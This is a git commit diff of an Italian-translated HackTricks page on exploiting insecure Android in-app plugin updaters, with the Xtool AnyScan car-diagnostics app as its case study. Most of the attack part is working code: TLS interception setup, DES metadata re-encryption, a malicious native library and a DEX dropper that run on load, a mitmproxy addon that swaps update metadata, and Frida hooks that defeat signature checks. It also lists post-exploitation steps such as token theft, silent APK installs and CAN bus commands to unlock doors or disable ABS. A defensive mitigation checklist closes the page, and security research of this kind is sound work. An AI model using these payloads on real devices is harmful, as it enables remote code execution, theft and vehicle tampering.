mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap
This commit is contained in:
		
							parent
							
								
									dd60654962
								
							
						
					
					
						commit
						58be720e82
					
				@ -1,16 +1,49 @@
 | 
			
		||||
# Meccanismi di Aggiornamento In-App Insicuri – Esecuzione Remota di Codice tramite Plugin Maliziosi
 | 
			
		||||
# Meccanismi di In-App Update Insicuri – Remote Code Execution via Malicious Plugins
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
Molte applicazioni Android implementano i propri **canali di aggiornamento “plugin” o “funzione dinamica”** invece di utilizzare il Google Play Store. Quando l'implementazione è insicura, un attaccante in grado di intercettare il traffico può fornire **codice nativo arbitrario che verrà caricato all'interno del processo dell'app**, portando a una completa Esecuzione Remota di Codice (RCE) sul dispositivo – e in alcuni casi su qualsiasi dispositivo esterno controllato dall'app (auto, IoT, dispositivi medici…).
 | 
			
		||||
Molte applicazioni Android implementano canali di aggiornamento “plugin” o “dynamic feature” propri invece di usare il Google Play Store. Quando l'implementazione è insicura un attacker in grado di intercettare o manomettere il traffico di aggiornamento può fornire codice nativo arbitrario o Dalvik/ART che verrà caricato all'interno del processo dell'app, portando a Remote Code Execution (RCE) completo sul dispositivo – e in alcuni casi su qualsiasi dispositivo esterno controllato dall'app (auto, IoT, dispositivi medicali …).
 | 
			
		||||
 | 
			
		||||
Questa pagina riassume una catena di vulnerabilità del mondo reale trovata nell'app di diagnostica automobilistica Xtool **AnyScan** (v4.40.11 → 4.40.40) e generalizza la tecnica in modo da poter auditare altre app Android e sfruttare la misconfigurazione durante un ingaggio di red-team.
 | 
			
		||||
Questa pagina riassume una catena di vulnerabilità reale trovata nell'app Xtool AnyScan automotive-diagnostics (v4.40.11 → 4.40.40) e generalizza la tecnica in modo da poter auditare altre app Android e weaponise la misconfigurazione durante un red-team engagement.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 1. Identificare un TrustManager TLS Insicuro
 | 
			
		||||
## 0. Triage rapido: l'app ha un in‑app updater?
 | 
			
		||||
 | 
			
		||||
1. Decompila l'APK con jadx / apktool e localizza lo stack di rete (OkHttp, HttpUrlConnection, Retrofit…).
 | 
			
		||||
2. Cerca un **`TrustManager`** o `HostnameVerifier` personalizzato che si fida ciecamente di ogni certificato:
 | 
			
		||||
Indizi statici da cercare in JADX/apktool:
 | 
			
		||||
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
 | 
			
		||||
- Endpoint di rete come `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
 | 
			
		||||
- Helper crittografici vicino ai percorsi di update (DES/AES/RC4; Base64; JSON/XML packs).
 | 
			
		||||
- Caricatori dinamici: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
 | 
			
		||||
- Percorsi di unzip che scrivono nella storage interna dell'app o in quella esterna, poi caricano immediatamente un `.so`/DEX.
 | 
			
		||||
 | 
			
		||||
Runtime hooks to confirm:
 | 
			
		||||
```js
 | 
			
		||||
// Frida: log native and dex loading
 | 
			
		||||
Java.perform(() => {
 | 
			
		||||
const Runtime = Java.use('java.lang.Runtime');
 | 
			
		||||
const SystemJ = Java.use('java.lang.System');
 | 
			
		||||
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
 | 
			
		||||
 | 
			
		||||
SystemJ.load.overload('java.lang.String').implementation = function(p) {
 | 
			
		||||
console.log('[System.load] ' + p); return this.load(p);
 | 
			
		||||
};
 | 
			
		||||
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
 | 
			
		||||
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
 | 
			
		||||
};
 | 
			
		||||
Runtime.load.overload('java.lang.String').implementation = function(p){
 | 
			
		||||
console.log('[Runtime.load] ' + p); return this.load(p);
 | 
			
		||||
};
 | 
			
		||||
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
 | 
			
		||||
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
 | 
			
		||||
return this.$init(dexPath, optDir, libPath, parent);
 | 
			
		||||
};
 | 
			
		||||
});
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
## 1. Identificare un TrustManager TLS insicuro
 | 
			
		||||
 | 
			
		||||
1. Decompila l'APK con jadx / apktool e individua lo stack di networking (OkHttp, HttpUrlConnection, Retrofit…).
 | 
			
		||||
2. Cerca un `TrustManager` o `HostnameVerifier` personalizzato che si fidi ciecamente di ogni certificato:
 | 
			
		||||
```java
 | 
			
		||||
public static TrustManager[] buildTrustManagers() {
 | 
			
		||||
return new TrustManager[]{
 | 
			
		||||
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
 | 
			
		||||
};
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
3. Se presente, l'applicazione accetterà **qualsiasi certificato TLS** → puoi eseguire un **proxy MITM** trasparente con un certificato autofirmato:
 | 
			
		||||
3. Se presente l'applicazione accetterà qualsiasi certificato TLS → puoi eseguire un proxy MITM trasparente con un self-signed cert:
 | 
			
		||||
```bash
 | 
			
		||||
mitmproxy -p 8080 -s addon.py  # see §4
 | 
			
		||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator
 | 
			
		||||
```
 | 
			
		||||
## 2. Reverse-Engineering the Update Metadata
 | 
			
		||||
Se TLS pinning è applicato invece della logica non sicura trust-all, vedi:
 | 
			
		||||
 | 
			
		||||
Nel caso di AnyScan, ogni avvio dell'app attiva un HTTPS GET a:
 | 
			
		||||
{{#ref}}
 | 
			
		||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
make-apk-accept-ca-certificate.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 2. Reverse-Engineering dei metadati dell'aggiornamento
 | 
			
		||||
 | 
			
		||||
Nel caso di AnyScan, ogni avvio dell'app innesca una richiesta HTTPS GET a:
 | 
			
		||||
```
 | 
			
		||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
 | 
			
		||||
```
 | 
			
		||||
Il corpo della risposta è un **documento XML** i cui nodi `<FileData>` contengono JSON **codificato in Base64, crittografato con DES-ECB** che descrive ogni plugin disponibile.
 | 
			
		||||
Il corpo della risposta è un documento XML i cui nodi `<FileData>` contengono Base64-encoded, DES-ECB encrypted JSON che descrive ogni plugin disponibile.
 | 
			
		||||
 | 
			
		||||
Passi tipici di hunting:
 | 
			
		||||
1. Individuare la routine crittografica (ad es. `RemoteServiceProxy`) e recuperare:
 | 
			
		||||
* algoritmo (DES / AES / RC4 …)
 | 
			
		||||
* modalità di operazione (ECB / CBC / GCM …)
 | 
			
		||||
* chiave / IV hard-coded (spesso chiavi DES a 56 bit o chiavi AES a 128 bit in costanti)
 | 
			
		||||
2. Re-implementare la funzione in Python per decrittografare / crittografare i metadati:
 | 
			
		||||
Passaggi tipici:
 | 
			
		||||
1. Individua la routine crittografica (es. `RemoteServiceProxy`) e recupera:
 | 
			
		||||
- algoritmo (DES / AES / RC4 …)
 | 
			
		||||
- modalità di funzionamento (ECB / CBC / GCM …)
 | 
			
		||||
- chiave / IV hard-coded (comunemente costanti DES a 56-bit o AES a 128-bit)
 | 
			
		||||
2. Reimplementa la funzione in Python per decriptare / criptare i metadata:
 | 
			
		||||
```python
 | 
			
		||||
from Crypto.Cipher import DES
 | 
			
		||||
from base64 import b64decode, b64encode
 | 
			
		||||
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
 | 
			
		||||
cipher = DES.new(KEY, DES.MODE_ECB)
 | 
			
		||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
 | 
			
		||||
```
 | 
			
		||||
## 3. Crea un Plugin Maligno
 | 
			
		||||
Note riscontrate sul campo (2023–2025):
 | 
			
		||||
- I metadata sono spesso JSON-within-XML o protobuf; cifrature deboli e chiavi statiche sono comuni.
 | 
			
		||||
- Molti updaters accettano plain HTTP per il download effettivo del payload anche se i metadata arrivano via HTTPS.
 | 
			
		||||
- I plugin spesso si unzip in app-internal storage; alcuni usano ancora external storage o il legacy `requestLegacyExternalStorage`, permettendo cross-app tampering.
 | 
			
		||||
 | 
			
		||||
1. Scegli un qualsiasi plugin legittimo in formato ZIP e sostituisci la libreria nativa con il tuo payload:
 | 
			
		||||
---
 | 
			
		||||
## 3. Creare un Plugin Maligno
 | 
			
		||||
 | 
			
		||||
### 3.1 Percorso della libreria nativa (dlopen/System.load[Library])
 | 
			
		||||
 | 
			
		||||
1. Scegli qualsiasi plugin ZIP legittimo e sostituisci la libreria nativa con il tuo payload:
 | 
			
		||||
```c
 | 
			
		||||
// libscan_x64.so – constructor runs as soon as the library is loaded
 | 
			
		||||
__attribute__((constructor))
 | 
			
		||||
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
 | 
			
		||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
 | 
			
		||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
 | 
			
		||||
```
 | 
			
		||||
2. Aggiorna i metadati JSON in modo che `"FileName" : "PWNED.zip"` e `"DownloadURL"` punti al tuo server HTTP.  
 | 
			
		||||
3. Esegui la crittografia DES + codifica Base64 del JSON modificato e copialo di nuovo all'interno dell'XML intercettato.
 | 
			
		||||
2. Aggiorna i metadata JSON in modo che "FileName" : "PWNED.zip" e "DownloadURL" punti al tuo HTTP server.
 | 
			
		||||
3. Crittografa di nuovo + codifica in Base64 il JSON modificato e copialo di nuovo all'interno dell'XML intercettato.
 | 
			
		||||
 | 
			
		||||
## 4. Consegna il Payload con mitmproxy
 | 
			
		||||
### 3.2 Dex-based plugin path (DexClassLoader)
 | 
			
		||||
 | 
			
		||||
`addon.py` esempio che *silenziosamente* scambia i metadati originali:
 | 
			
		||||
Alcune app scaricano un JAR/APK e caricano codice tramite `DexClassLoader`. Costruisci un DEX malevolo che si attivi al caricamento:
 | 
			
		||||
```java
 | 
			
		||||
// src/pwn/Dropper.java
 | 
			
		||||
package pwn;
 | 
			
		||||
public class Dropper {
 | 
			
		||||
static { // runs on class load
 | 
			
		||||
try {
 | 
			
		||||
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
 | 
			
		||||
} catch (Throwable t) {}
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
# Compile and package to a DEX jar
 | 
			
		||||
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
 | 
			
		||||
jar cf dropper.jar -C out/ .
 | 
			
		||||
d8 --output outdex/ dropper.jar
 | 
			
		||||
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this
 | 
			
		||||
```
 | 
			
		||||
Se il target chiama `Class.forName("pwn.Dropper")`, il tuo inizializzatore statico viene eseguito; altrimenti, usa Frida per enumerare riflessivamente le classi caricate e invocare un metodo esportato.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 4. Consegnare il Payload con mitmproxy
 | 
			
		||||
 | 
			
		||||
`addon.py` example that silently swaps the original metadata:
 | 
			
		||||
```python
 | 
			
		||||
from mitmproxy import http
 | 
			
		||||
MOD_XML = open("fake_metadata.xml", "rb").read()
 | 
			
		||||
@ -89,36 +166,69 @@ MOD_XML,
 | 
			
		||||
{"Content-Type": "text/xml"}
 | 
			
		||||
)
 | 
			
		||||
```
 | 
			
		||||
Esegui un semplice server web per ospitare lo ZIP malevolo:
 | 
			
		||||
Avvia un semplice server web per ospitare lo ZIP/JAR malizioso:
 | 
			
		||||
```bash
 | 
			
		||||
python3 -m http.server 8000 --directory ./payloads
 | 
			
		||||
```
 | 
			
		||||
Quando la vittima avvia l'app, essa:
 | 
			
		||||
* recupera il nostro XML contraffatto attraverso il canale MITM;
 | 
			
		||||
* decripta e analizza con la chiave DES hard-coded;
 | 
			
		||||
* scarica `PWNED.zip` → decomprime all'interno dello storage privato;
 | 
			
		||||
* `dlopen()` la *libscan_x64.so* inclusa, eseguendo istantaneamente il nostro codice **con i permessi dell'app** (fotocamera, GPS, Bluetooth, filesystem, ...).
 | 
			
		||||
Quando la vittima avvia l'app farà:
 | 
			
		||||
- recuperare il nostro XML contraffatto tramite il canale MITM;
 | 
			
		||||
- decifrarlo e analizzarlo con la crypto hard-coded;
 | 
			
		||||
- scaricare `PWNED.zip` o `plugin.jar` → decomprimerlo nello storage privato;
 | 
			
		||||
- caricare la `.so` o il DEX incluso, eseguendo istantaneamente il nostro codice con i permessi dell'app (camera, GPS, Bluetooth, filesystem, …).
 | 
			
		||||
 | 
			
		||||
Poiché il plugin è memorizzato nella cache su disco, il backdoor **persiste attraverso i riavvii** e si attiva ogni volta che l'utente seleziona la funzione correlata.
 | 
			
		||||
 | 
			
		||||
## 5. Idee Post-Exploitation
 | 
			
		||||
 | 
			
		||||
* Rubare cookie di sessione, token OAuth o JWT memorizzati dall'app.
 | 
			
		||||
* Rilasciare un APK di secondo livello e installarlo silenziosamente tramite `pm install` (l'app ha già `REQUEST_INSTALL_PACKAGES`).
 | 
			
		||||
* Abusare di qualsiasi hardware connesso – nello scenario AnyScan puoi inviare comandi **OBD-II / CAN bus** arbitrari (sbloccare porte, disabilitare ABS, ecc.).
 | 
			
		||||
Poiché il plugin è memorizzato nella cache su disco, la backdoor persiste tra i reboot ed è eseguita ogni volta che l'utente seleziona la funzione correlata.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
### Checklist di Rilevamento e Mitigazione (blue team)
 | 
			
		||||
## 4.1 Bypassare i controlli di signature/hash (se presenti)
 | 
			
		||||
 | 
			
		||||
* NON spedire mai una build di produzione con un TrustManager/HostnameVerifier personalizzato che disabilita la validazione del certificato.
 | 
			
		||||
* Non scaricare codice eseguibile da fonti esterne a Google Play. Se *devi*, firma ogni plugin con la stessa chiave **apkSigning v2** e verifica la firma prima di caricarlo.
 | 
			
		||||
* Sostituisci la crittografia debole/hard-coded con **AES-GCM** e una chiave rotante lato server.
 | 
			
		||||
* Valida l'integrità degli archivi scaricati (firma o almeno SHA-256).
 | 
			
		||||
Se l'updater valida signatures o hashes, intercetta la verifica in modo che accetti sempre il contenuto dell'attaccante:
 | 
			
		||||
```js
 | 
			
		||||
// Frida – make java.security.Signature.verify() return true
 | 
			
		||||
Java.perform(() => {
 | 
			
		||||
const Sig = Java.use('java.security.Signature');
 | 
			
		||||
Sig.verify.overload('[B').implementation = function(a) { return true; };
 | 
			
		||||
});
 | 
			
		||||
 | 
			
		||||
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
 | 
			
		||||
Java.perform(() => {
 | 
			
		||||
const Arrays = Java.use('java.util.Arrays');
 | 
			
		||||
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
 | 
			
		||||
});
 | 
			
		||||
```
 | 
			
		||||
Considera inoltre di creare stub per i metodi del vendor come `PluginVerifier.verifySignature()`, `checkHash()`, o bypassare la logica di gating degli update in Java o JNI.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## Riferimenti
 | 
			
		||||
## 5. Altre superfici d'attacco negli updater (2023–2025)
 | 
			
		||||
 | 
			
		||||
- Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data/<pkg>/files/target` overwrite arbitrary files. Always sanitize entry paths and use allow‑lists.
 | 
			
		||||
- External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
 | 
			
		||||
- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
 | 
			
		||||
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
 | 
			
		||||
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## 6. Post-Exploitation Ideas
 | 
			
		||||
 | 
			
		||||
- Rubare cookie di sessione, token OAuth o JWT memorizzati dall'app.
 | 
			
		||||
- Depositare un APK secondario e installarlo silenziosamente via `pm install` se possibile (alcune app dichiarano già `REQUEST_INSTALL_PACKAGES`).
 | 
			
		||||
- Abusare di qualsiasi hardware connesso – nello scenario AnyScan puoi inviare comandi arbitrari OBD‑II / CAN bus (sbloccare porte, disabilitare ABS, ecc.).
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
### Checklist di rilevamento e mitigazione (blue team)
 | 
			
		||||
 | 
			
		||||
- Avoid dynamic code loading and out‑of‑store updates. Prefer Play‑mediated updates. If dynamic plugins are a hard requirement, design them as data‑only bundles and keep executable code in the base APK.
 | 
			
		||||
- Enforce TLS properly: no custom trust‑all managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
 | 
			
		||||
- Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developer‑held key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
 | 
			
		||||
- Use modern crypto (AES‑GCM) with per‑message nonces for metadata; remove hard‑coded keys from clients.
 | 
			
		||||
- Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA‑256 hashes. Reject extra/unknown files.
 | 
			
		||||
- Store downloads in app‑internal storage (or scoped storage on Android 10+) and use file permissions that prevent cross‑app tampering.
 | 
			
		||||
- Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or `..` segments.
 | 
			
		||||
- Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
 | 
			
		||||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
 | 
			
		||||
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user